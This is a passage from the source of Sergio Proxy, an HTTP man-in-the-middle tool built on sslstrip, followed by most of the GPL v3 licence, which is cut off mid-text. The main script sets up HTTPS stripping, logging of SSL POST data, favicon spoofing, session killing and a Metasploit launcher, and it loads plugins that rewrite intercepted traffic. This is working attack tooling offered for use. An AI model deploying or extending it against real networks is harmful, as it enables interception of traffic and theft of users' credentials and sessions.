parser 32 | #rather than a file...PIL still needs some work I guess 33 | p = ImageFile.Parser() 34 | p.feed(data) 35 | im = p.close() 36 | im=im.transpose(Image.ROTATE_180) 37 | output = StringIO() 38 | im.save(output,format=image_type) 39 | data=output.getvalue() 40 | output.close() 41 | logging.info("Flipped image") 42 | except Exception as e: 43 | print "Error: %s" % e 44 | return {'request':request,'data':data} 45 | -------------------------------------------------------------------------------- /plugins/__init__.py: -------------------------------------------------------------------------------- 1 | #Hack grabbed from http://stackoverflow.com/questions/1057431/loading-all-modules-in-a-folder-in-python 2 | #Has to be a cleaner way to do this, but it works for now 3 | import os 4 | import glob 5 | __all__ = [ os.path.basename(f)[:-3] for f in glob.glob(os.path.dirname(__file__)+"/*.py")] 6 | 7 | -------------------------------------------------------------------------------- /plugins/plugin.py: -------------------------------------------------------------------------------- 1 | ''' 2 | The base plugin class. This shows the various methods that 3 | can get called during the MITM attack. 4 | ''' 5 | 6 | class Plugin(object): 7 | name = "Generic plugin" 8 | optname = "generic" 9 | desc = "" 10 | implements = [] 11 | has_opts = False 12 | def __init__(self): 13 | '''Called on plugin instantiation. Probably don't need this''' 14 | pass 15 | def initialize(self,options): 16 | '''Called if plugin is enabled, passed the options namespace''' 17 | self.options = options 18 | 19 | def add_options(options): 20 | '''Add your options to the options parser''' 21 | raise NotImplementedError 22 | 23 | def handleHeader(self,request,key,value): 24 | '''Handles all response headers''' 25 | raise NotImplementedError 26 | 27 | def connectionMade(self,request): 28 | '''Handles outgoing request''' 29 | raise NotImplementedError 30 | 31 | def handleResponse(self,request,data): 32 | ''' 33 | Handles all non-image responses by default. See Upsidedownternet 34 | for how to get images 35 | ''' 36 | raise NotImplementedError 37 | 38 | def finish(self): 39 | '''This will be called when shutting down''' 40 | pass 41 | -------------------------------------------------------------------------------- /plugins/test.py: -------------------------------------------------------------------------------- 1 | from plugins.plugin import Plugin 2 | #Uncomment to use 3 | ''' 4 | class Test(Plugin): 5 | name = "Test" 6 | optname = "test" 7 | has_opts = True 8 | implements = ["handleResponse"] 9 | def add_options(self,options): 10 | options.add_argument("--testy",action="store_true", 11 | help="This is a test option") 12 | def initialize(self,options): 13 | self.worked = options.test 14 | def handleResponse(self,request,data): 15 | print "http://" + request.client.getRequestHostname() + request.uri 16 | ''' 17 | -------------------------------------------------------------------------------- /sergio-proxy.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | """Sergio Proxy is a MITM tool based on Moxie Marlinspikes's sslstrip""" 3 | 4 | __author__ = "Ben Schmidt" 5 | __email__ = "supernothing@spareclockcycles.org" 6 | __license__= """ 7 | Copyright (c) 2010-2011 Ben Schmidt 8 | 9 | This program is free software; you can redistribute it and/or 10 | modify it under the terms of the GNU General Public License as 11 | published by the Free Software Foundation; either version 3 of the 12 | License, or (at your option) any later version. 13 | 14 | This program is distributed in the hope that it will be useful, but 15 | WITHOUT ANY WARRANTY; without even the implied warranty of 16 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 17 | General Public License for more details. 18 | 19 | You should have received a copy of the GNU General Public License 20 | along with this program; if not, write to the Free Software 21 | Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 22 | USA 23 | 24 | """ 25 | from twisted.web import http 26 | from twisted.internet import reactor 27 | 28 | from sslstrip.StrippingProxy import StrippingProxy 29 | from sslstrip.URLMonitor import URLMonitor 30 | from sslstrip.CookieCleaner import CookieCleaner 31 | from sslstrip.ProxyPlugins import ProxyPlugins 32 | 33 | import sys, logging, traceback, string, os 34 | import argparse 35 | 36 | 37 | from plugins import * 38 | plugin_classes = plugin.Plugin.__subclasses__() 39 | 40 | sslstrip_version = "0.9" 41 | sergio_version = "0.2.1" 42 | 43 | if __name__ == "__main__": 44 | parser = argparse.ArgumentParser( 45 | description="Sergio Proxy v%s - An HTTP MITM Tool" % sergio_version, 46 | epilog="Use wisely, young Padawan.", 47 | fromfile_prefix_chars='@' ) 48 | #add sslstrip options 49 | sgroup = parser.add_argument_group("sslstrip", 50 | "Options for sslstrip library") 51 | 52 | sgroup.add_argument("-w","--write",type=argparse.FileType('w'), 53 | metavar="filename", default=sys.stdout, 54 | help="Specify file to log to (stdout by default).") 55 | sgroup.add_argument("--log-level",type=str, 56 | choices=['debug','info','warning','error'],default="info", 57 | help="Specify file to log to (stdout by default).") 58 | slogopts = sgroup.add_mutually_exclusive_group() 59 | slogopts.add_argument("-p","--post",action="store_true", 60 | help="Log only SSL POSTs. (default)") 61 | slogopts.add_argument("-s","--ssl",action="store_true", 62 | help="Log all SSL traffic to and from server.") 63 | slogopts.add_argument("-a","--all",action="store_true", 64 | help="Log all SSL and HTTP traffic to and from server.") 65 | sgroup.add_argument("-l","--listen",type=int,metavar="port",default=10000, 66 | help="Port to listen on (default 10000)") 67 | sgroup.add_argument("-f","--favicon",action="store_true", 68 | help="Substitute a lock favicon on secure requests.") 69 | sgroup.add_argument("-k","--killsessions",action="store_true", 70 | help="Kill sessions in progress.") 71 | 72 | #add msf options 73 | sgroup = parser.add_argument_group("MSF", 74 | "Generic Options for MSF integration") 75 | 76 | sgroup.add_argument("--msf-path",type=str,default="/pentest/exploits/framework/", 77 | help="Path to msf (default: /pentest/exploits/framework)") 78 | sgroup.add_argument("--msf-rc",type=str,default="/tmp/tmp.rc", 79 | help="Specify a custom rc file (overrides all other settings)") 80 | sgroup.add_argument("--msf-user",type=str,default="root", 81 | help="Specify what user to run Metasploit under.") 82 | sgroup.add_argument("--msf-lhost",type=str,default="192.168.1.1", 83 | help="The IP address Metasploit is listening at.") 84 | 85 | #Initialize plugins 86 | plugins = [] 87 | try: 88 | for p in plugin_classes: 89 | plugins.append(p()) 90 | except: 91 | print "Failed to load plugin class %s" % str(p) 92 | 93 | #Give subgroup to each plugin with options 94 | try: 95 | for p in plugins: 96 | if p.desc == "": 97 | sgroup = parser.add_argument_group("%s" % p.name, 98 | "Options for %s." % p.name) 99 | else: 100 | sgroup = parser.add_argument_group("%s" % p.name, 101 | p.desc) 102 | 103 | sgroup.add_argument("--%s" % p.optname, action="store_true", 104 | help="Load plugin %s" % p.name) 105 | if p.has_opts: 106 | p.add_options(sgroup) 107 | except NotImplementedError: 108 | print "Plugin %s claimed option support, but didn't have it." % p.name 109 | 110 | args = parser.parse_args() 111 | if args.msf_rc == "/tmp/tmp.rc": 112 | #need to wipe 113 | open(args.msf_rc,"w").close() 114 | args.full_path = os.path.dirname(os.path.abspath(__file__)) 115 | 116 | log_level = logging.__dict__[args.log_level.upper()] 117 | 118 | #Start logging 119 | logging.basicConfig(level=log_level, format='%(asctime)s %(message)s', 120 | stream=args.write) 121 | 122 | #All our options should be loaded now, pass them onto plugins 123 | load = [] 124 | try: 125 | for p in plugins: 126 | if getattr(args,p.optname): 127 | p.initialize(args) 128 | load.append(p) 129 | except NotImplementedError: 130 | print "Plugin %s lacked initialize function." % p.name 131 | 132 | #this whole msf loading process sucks. need to improve 133 | if args.msf_rc != "/tmp/tmp.rc" or os.stat("/tmp/tmp.rc").st_size != 0: 134 | from plugins.StartMSF import launch_msf 135 | launch_msf(args.msf_path,args.msf_rc,args.msf_user) 136 | 137 | #Plugins are ready to go, start MITM 138 | URLMonitor.getInstance().setFaviconSpoofing(args.favicon) 139 | CookieCleaner.getInstance().setEnabled(args.killsessions) 140 | ProxyPlugins.getInstance().setPlugins(load) 141 | 142 | strippingFactory = http.HTTPFactory(timeout=10) 143 | strippingFactory.protocol = StrippingProxy 144 | 145 | reactor.listenTCP(args.listen, strippingFactory) 146 | 147 | print "\nsslstrip " + sslstrip_version + " by Moxie Marlinspike running..." 148 | print "sergio-proxy v%s online" % sergio_version 149 | 150 | reactor.run() 151 | 152 | #cleanup on exit 153 | for p in load: 154 | p.finish() 155 | -------------------------------------------------------------------------------- /sslstrip/COPYING.sslstrip: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE 